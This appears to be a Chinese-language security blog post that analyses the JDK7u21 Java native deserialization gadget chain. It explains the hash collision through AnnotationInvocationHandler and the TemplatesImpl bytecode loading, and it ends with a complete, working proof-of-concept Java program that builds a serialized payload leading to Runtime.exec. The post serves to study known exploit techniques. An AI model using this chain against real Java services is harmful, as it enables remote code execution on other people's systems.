原生反序列化链JDK7u21
前言
刚刚结束了Commons Beanutils链的分析,马上换了一下JDK的环境,来研究JDK7u21的反序列化链,这条链得在JDK版本小于等于7u21的情况下才能使用,所以我们这选择了jdk7u21
反序列化链分析
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
上面是ysoserial关于JDK7u21这条链的调用顺序,这条链的话我也是第一次分析,所以有分析的不对的地方可以麻烦师傅指出
分析完之前的CC链和CB链,我们可以知道反序列化最终调用到的地方都是Runtime.exec(),我们有两种方法可以来调用他,一种是通过利用InvokerTransformer的transform方法来通过反射执行命令,另外一种是通过TemplatesImpl加载字节码来执行命令,这里的话他选择的是通过TemplatesImpl来调用最终的Runtime.exec,前面我在CC3这条链的时候已经大致分析过通过TemplatesImpl加载字节码执行命令的条件如下
- TemplatesImpl的
_name
不等于null - TemplatesImpl的
_class
要等于null - TemplatesImpl的
_bytecodes
不等于null - TemplatesImpl的
_bytecodes
得是我们执行代码恶意类的字节码 _bytecodes
中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
至此其实思路很清晰,既然他这使用到了TeamplatesImpl,那我们就必须得去找到调用TemplatesImpl.getOutputProperties()或者TemplatesImpl.newTransformer()的地方这里的话他是使用到了sun.reflect.annotation.AnnotationInvocationHandler这个类的invoke方法
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
AnnotationInvocationHandler这个类中首先是进行了一个判断,member是通过method.getName获取的,必须是equals,也就是必须是equals方法,并且参数长度为一,也就是只有一个参数,才返回equalsImpl(args[0])
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
跟进equalsImpl方法,hisValue = memberMethod.invoke(o);
这调用了invoke方法,这是一个很明显的反射调用,memberMethod 来自于this.type.getDeclaredMethods()
,这里的type是通过构造函数传进的一个Annotation的子类
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
也就是说,在equalsImpl中,遍历了this.type中的所有方法并且执行,那么我们假设一下,要是这里的type是上面说的TemplatesImpl类,他会自动遍历方法,并且去执行,也就是说他会自动执行我们的TemplatesImpl.getOutputProperties()
,那么我们只需要找到对应调用这个AnnotationInvocationHandler的invoke方法即可。
这里的话就又得引入我们前面学过的动态代理的知识,回看AnnotationInvocationHandler ,可以发现,他其实是实现了InvocationHandler接口的,他有一个方法就是invoke,在使用 java.reflect.Proxy 动态绑定一个接口时,如果调用到了接口中的任意一个方法,他就会去调用InvocationHandler.invoke ()
。前文也提到了,如果要调用到equalsImpl,必须满足方法名是equals并且只有一个参数。所以我们现在的目标就是去找到调用equals并且只有一个参数的位置。所以下面又得联系到另外一个知识,哈希碰撞
在java中常用的比较是equals和compareTo,任意Java对象都有equals方法,它通常用于比较两个对象是否是同一个引用。我们可以想一下Java中会调用到equals的地方。一个常见的调用场景就是set,因为他不允许里面的元素重复,所以在添加对象时肯定会涉及到equals的操作。因为ysoserial里的链子是用了LinkedHashSet,所以我这里也拿LinkedHashSet进行分析,下面来看看LinkedHashSet的readObject方法,其实LinkedHashSet是继承的HashSet类,并且自身没有readObject方法,所以这里直接拿HashSet类的readObject方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
上面提到,set是集合,他会一个个把序列化以后的内容进行反序列化,然后读取每个对象put到map里,这里跟进put方法。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
首先put方法先判断了一下key是否是null,是话则抛出异常,然后使用对key计算hash,后面是一个for循环,关键点在for循环里的那个if判断。((k = e.key) == key || key.equals(k))
,要想进入这个判断,首先得满足e.hash=hash
并且k!=e.key
,实际上就是说要key不一样但是通过key计算的hash一样,这里调用了key.equals(k)
,所以这里的key就得是那个Templates类型的代理,通过调用他的equlas方法,从而进入到AnnotationInvocationHandler的invoke方法,延长了调用链。
所以总的流程大概以及简略的介绍了,但是还有一个关键点就是我们刚刚提到的一个条件,e.hash == hash && ((k = e.key) == key || key.equals(k))
,这里的话e.key==key
需要满足的话只需要传入的两个元素key不是一个相同的类即可,所以现在的任务就是要找到hash相等的情况,在put方法中跟进hash方法
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
其中变量其实只有key.hashCode,调用了传入的key的hashCode方法,其他都是进行一些固定的位运算和异或运算,继续跟进hashCode,我们这里的话传入的key是个Templates类型的代理,这里调用他的hashCode方法会先去调用AnnotationInvocationHandler的invoke方法
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
因为这里是调用的代理类的hashCode,所以在AnnotationInvocationHandler的invoke里会进入if判断,返回hashCodeImpl()的结果,这里继续跟进hashCodeImpl()
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
可以看到这里是对memberValues进行了一个遍历,resualt是通过result += (127 * e.getKey().hashCode())^memberValueHashCode(e.getValue());
计算,设想一下,要是memberValues只有一个一个key和一个value时,是不是就被简化为了result = (127 * e.getKey().hashCode())^memberValueHashCode(e.getValue());
,那么我们要如何去构造另外一个key让他们两个的hashCode相等呢,可以看看ysoserial的源代码, 他其中在LinkedHashSet中add了两个对象,一个是TemplatesImpl,一个是Templates类型的代理,其中,TemplatesImpl类的hashCode是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,只能来看proxy的 hashCode() ,还是回到刚刚那,如果memberValues只有一个一个key和一个value时,hash就被简化为了result = (127 * e.getKey().hashCode())^memberValueHashCode(e.getValue());
,但是如果此时的key.hashCode为0,也就是e.getKey().hashCode()==0
,那么剩下的hash就被简化为memberValueHashCode(e.getValue())
private static int memberValueHashCode(Object value) {
Class<?> type = value.getClass();
if (!type.isArray()) // primitive, string, class, enum const,
// or annotation
return value.hashCode();
if (type == byte[].class)
return Arrays.hashCode((byte[]) value);
if (type == char[].class)
return Arrays.hashCode((char[]) value);
if (type == double[].class)
return Arrays.hashCode((double[]) value);
if (type == float[].class)
return Arrays.hashCode((float[]) value);
if (type == int[].class)
return Arrays.hashCode((int[]) value);
if (type == long[].class)
return Arrays.hashCode((long[]) value);
if (type == short[].class)
return Arrays.hashCode((short[]) value);
if (type == boolean[].class)
return Arrays.hashCode((boolean[]) value);
return Arrays.hashCode((Object[]) value);
}
memberValueHashCode方法如上,如果value不是数组,就直接返回value.hashCode,带入刚刚说的,如果e.getKey().hashCode()==0
,那么剩下的hash就被简化为memberValueHashCode(e.getValue()),进一步简化为value.hashCode()此时如果我们的value是一个TemplateImpl对象,那么另外一个key计算的hashCode是否和这个key计算的hashCode就相等了呢?(其实这里我对这个TemplateImpl对象也是挺疑惑的,因为我没法去想到为什么会想到这样来完成这个哈希碰撞,想请教一下各位师傅们)
找到关于hashCode是0的对象, 就直接爆破即可,这里引用P牛的例子
public static void bruteHashCode() {
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
这里爆破出来的字符串是f5a5a608
POC构造
这里的话我比较菜,看到很多大佬们用的javassist,我这里直接还是使用CC3的方法来完成我们的POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc=templates.getClass();
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"ch1e");
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
serialize(set);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}